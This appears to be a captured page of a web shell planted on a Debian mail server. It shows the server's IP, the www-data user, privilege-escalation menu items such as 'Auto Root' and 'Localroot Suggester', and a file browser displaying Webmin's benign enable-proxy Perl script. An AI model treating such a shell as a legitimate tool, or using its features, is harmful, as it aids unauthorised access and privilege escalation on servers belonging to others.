Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
disable-proxy
3.54
KB
-rwxr-xr-x
2026-07-17 21:17
disable-twofactor
2.59
KB
-rwxr-xr-x
2026-07-17 21:17
enable-proxy
4.12
KB
-rwxr-xr-x
2026-07-17 21:17
language-manager
93.03
KB
-rwxr-xr-x
2026-07-17 21:17
list-config
5.14
KB
-rwxr-xr-x
2026-07-17 21:17
passwd
7.43
KB
-rwxr-xr-x
2026-07-17 21:17
patch
5.11
KB
-rwxr-xr-x
2026-07-17 21:17
server
21.42
KB
-rwxr-xr-x
2026-07-17 21:17
set-config
4.38
KB
-rwxr-xr-x
2026-07-17 21:17
update-devel
1.64
KB
-rwxr-xr-x
2026-07-17 21:17
webmin
13.29
KB
-rwxr-xr-x
2026-07-17 21:17
Save
Rename
#!/usr/bin/env perl # enable-proxy - Set Webmin configuration options to support being served # through a proxy. use strict; use warnings; BEGIN { $Pod::Usage::Formatter = 'Pod::Text::Color'; } use 5.010; # Version in CentOS 6 use Getopt::Long qw(:config permute pass_through); use Pod::Usage; use Term::ANSIColor qw(:constants); use Fcntl qw( :flock ); use Sys::Hostname; sub main { my %opt; GetOptions( 'help|h' => \$opt{'help'}, 'config|c=s' => \$opt{'config'}, 'prefix|p=s' => \$opt{'prefix'}, 'referer|r=s' => \$opt{'referer'} ); pod2usage(0) if ( $opt{'help'} ); $opt{'config'} ||= "/etc/webmin"; enable_proxy( \%opt ); return 0; } exit main( \@ARGV ) if !caller(0); sub enable_proxy { my ($optref) = @_; my @config_lines; my $file = "$optref->{'config'}/config"; my $referer; if ($optref->{'referer'}) { $referer = $optref->{'referer'}; } else { $referer = hostname; } # Setup Webmin if ($optref->{'prefix'}) { # Set'em up for proxying on https://domain.tld/prefix set_config('webprefix', $optref->{'prefix'}, $file); set_config('webprefix_noredir', '1', $file); set_config('referer', $referer, $file); set_config('ssl_redirect', '0', "$optref->{'config'}/miniserv.conf"); set_config('ssl', '0', "$optref->{'config'}/miniserv.conf"); } else { # No prefix, just proxying at the root level: https://domain.tld/ set_config('referer', $referer, $file); set_config('ssl_redirect', '0', "$optref->{'config'}/miniserv.conf"); set_config('ssl', '0', "$optref->{'config'}/miniserv.conf"); } # Setup the local web server? # Restart Webmin say "Restarting Webmin to apply changes..."; system("$optref->{'config'}/restart"); exit 0; } sub set_config { my ($key, $value, $file, $module, $force) = @_; $key or die RED, "An --option must be specified", RESET; my @config_lines; open my $fh, '+<', $file or die RED, "Unable to open $file", RESET; flock($fh, LOCK_EX) or die RED, "Unable to lock $file", RESET; chomp(@config_lines = <$fh>); # Change'em my $found = 0; my $exit_code = 0; # Validate it against the config.info if this is a module and if ($module && !$force) { validate_config_option($key, $value, $module); } for (@config_lines) { if (/^${key}=(.*)/) { s/^${key}=(.*)/${key}=${value}/; $found++; } } unless ($found > 0) { push(@config_lines, "$key=$value"); $exit_code++; } # Write'em seek($fh, 0, 0); print $fh qq|$_\n| for @config_lines; close $fh; } sub root { my ($config) = @_; open(my $CONF, "<", "$config/miniserv.conf") || die RED, "Failed to open $config/miniserv.conf", RESET; my $root; while (<$CONF>) { if (/^root=(.*)/) { $root = $1; } } close($CONF); # Does the Webmin root exist? if ( $root ) { die "$root is not a directory. Is --config correct?" unless (-d $root); } else { # Try to guess where Webmin lives, since config file didn't know. die "Unable to determine Webmin installation directory from $ENV{'WEBMIN_CONFIG'}"; } return $root; } 1; =pod =head1 NAME enable-proxy =head1 DESCRIPTION Configure the Webmin web server to be proxied through another web server, like Apache or nginx. This is not usually recommended, and disables some security features, but can help traverse a firewall. =head1 SYNOPSIS webmin enable-proxy [options] =head1 OPTIONS =over =item --help, -h Print this usage summary and exit. =item --config, -c Specify the full path to the Webmin configuration directory. Defaults to C</etc/webmin> =item --prefix, -p To use a directory prefix for URLs (e.g. https://domain.tld/webmin) provide it using this option. =item --referer, -r The hostname you'll be using in your browser to contact the server. (e.g. domain.tld) =back =head1 LICENSE AND COPYRIGHT Copyright 2018 Jamie Cameron <jcameron@webmin.com> Joe Cooper <joe@virtualmin.com>